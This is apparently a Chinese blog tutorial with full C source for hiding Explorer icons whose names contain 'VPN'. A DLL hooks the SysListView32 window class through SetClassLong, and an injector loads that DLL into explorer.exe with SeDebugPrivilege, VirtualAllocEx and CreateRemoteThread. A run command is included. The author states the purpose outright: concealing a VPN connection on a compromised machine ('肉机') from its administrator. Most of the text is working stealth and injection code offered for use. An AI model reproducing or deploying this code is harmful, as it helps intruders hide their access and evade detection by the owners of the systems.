利用窗口子类化隐藏系统图标 下载源代码 用Spy++看了一下,资源管理器里列表视图其实就是一个SysListView32控件,我们现在就是要"创建一个新的SysListView32控件",让它不显示带有"VPN"字符串的图标.有时我们控制了一台肉机,用VPN拨进去,但又不想管理员发现它,肯定要隐藏很多东西,隐藏图标是最直观的一种. 先来看看三个API: SetClassLong虽然操作的是一个窗口句柄,但作用却是对创建这个窗口的窗口类进行修改,我们可以让它修改进程范围内某种窗口类的窗口过程,这里指的窗口类是User32窗口对象类,而不是MFC或是VCL窗口封装类. 而CallWindowProc通常在我们处理完消息后再调用以实现控件基本的功能,因为我们可没有时间写一个完整的EDIT控件或是SysListView32控件. 废话不多说. #include "stdafx.h" #include <windows.h> #include <CommCtrl.h> #include <process.h> #include <tchar.h> #include <shlwapi.h> #define MAGIC_NUMBER (0x20) WNDPROC lpfnSupperClassProc=NULL; __forceinline void HideItem(HWND hListCtrl,DWORD dwItemcount) { LVITEM li={0}; char text[50]={0}; li.pszText=text; li.cchTextMax=50; for(DWORD i=0;i<dwItemcount;i++) { CallWindowProc(lpfnSupperClassProc,hListCtrl,LVM_GETITEMTEXT,i,(LPARAM)&li); if(StrStrI(li.pszText,_T("vpn"))!=NULL) CallWindowProc(lpfnSupperClassProc,hListCtrl,LVM_DELETEITEM,i,0); } } LRESULT CALLBACK ListFilterProc(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam) { DWORD dwItemcount=0; if(WM_PAINT==uMsg) { dwItemcount=CallWindowProc(lpfnSupperClassProc,hwnd,LVM_GETITEMCOUNT,0,0); if(dwItemcount<MAGIC_NUMBER) HideItem(hwnd,dwItemcount); } return CallWindowProc(lpfnSupperClassProc,hwnd,uMsg,wParam,lParam); } __forceinline BOOL InstallListFilter() { BOOL bRet=FALSE; HWND hWnd=NULL; INITCOMMONCONTROLSEX cls={sizeof(INITCOMMONCONTROLSEX),ICC_WIN95_CLASSES}; bRet=InitCommonControlsEx(&cls); if(bRet) { hWnd=CreateWindow(_T("SysListView32"),_T(""),WS_CAPTION|LVS_REPORT,0,0,0,0, NULL,NULL,NULL,NULL); lpfnSupperClassProc=(WNDPROC)GetClassLong(hWnd,GCL_WNDPROC); SetClassLong(hWnd,GCL_WNDPROC,(LONG)ListFilterProc); DestroyWindow(hWnd); } return bRet; } BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved) { if(DLL_PROCESS_ATTACH==ul_reason_for_call) InstallListFilter(); return TRUE; } 注入程序:InjectDLL.cpp #include <Windows.h> #include <tlhelp32.h> #include <stdio.h> #include <conio.h> BOOL EnablePrivilege(char *PrviName) { HANDLE hToken; TOKEN_PRIVILEGES Newtp; BOOL bRet=FALSE; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken); if(LookupPrivilegeValue(NULL,PrviName,&Newtp.Privileges[0].Luid)) { Newtp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; Newtp.PrivilegeCount=1; if(AdjustTokenPrivileges(hToken,FALSE,&Newtp,sizeof(Newtp),NULL,NULL)) bRet=TRUE; } CloseHandle(hToken); return bRet; } DWORD Process2PID(LPCTSTR lpszProcess) { HANDLE hSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); PROCESSENTRY32 pe; DWORD dwRet=0; pe.dwSize=sizeof(PROCESSENTRY32); if(hSnap) { Process32First(hSnap,&pe); do { if(!lstrcmpi(lpszProcess,pe.szExeFile)) { dwRet=pe.th32ProcessID; break; } } while(Process32Next(hSnap,&pe)); CloseHandle(hSnap); } return dwRet; } BOOL InjectDLL(DWORD dwPid,LPCTSTR lpszDll) { if(!EnablePrivilege(SE_DEBUG_NAME)) return FALSE; BOOL bRet=FALSE; HANDLE hProcess= OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPid); LPVOID pAddr=VirtualAllocEx(hProcess,NULL,MAX_PATH,MEM_COMMIT,PAGE_READWRITE); WriteProcessMemory(hProcess,pAddr,lpszDll,lstrlen(lpszDll)+1,NULL); LPTHREAD_START_ROUTINE pfnLoadLibrary= (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA"); bRet=(BOOL)CreateRemoteThread(hProcess,NULL,1024,pfnLoadLibrary,pAddr,0,NULL); CloseHandle(hProcess); return bRet; } int main(int argc,char **argv) { printf("Inject DLL to explorer.exe %s\n", InjectDLL(Process2PID(argv[1]),argv[2])?"successful":"failed"); getch(); return 0; }将两个分别编译好后用下面的命令行: injectDLL explorer.exe d:\wjj\explorer\debug\explorer.dlld:\wjj\explorer\debug\explorer.dll一定要用绝对路径,那是我用的工作目录,你可以把explorer.dll放在其它任意地方 我更喜欢用中规中矩的"窗口子类化"来称乎这种技术,当然也可以叫它"窗口劫持",来北京没有多长时间,发现这里的人都喜欢用很多很大气的词,平台,架构,理念......,听起来的确有点烦. |
联系客服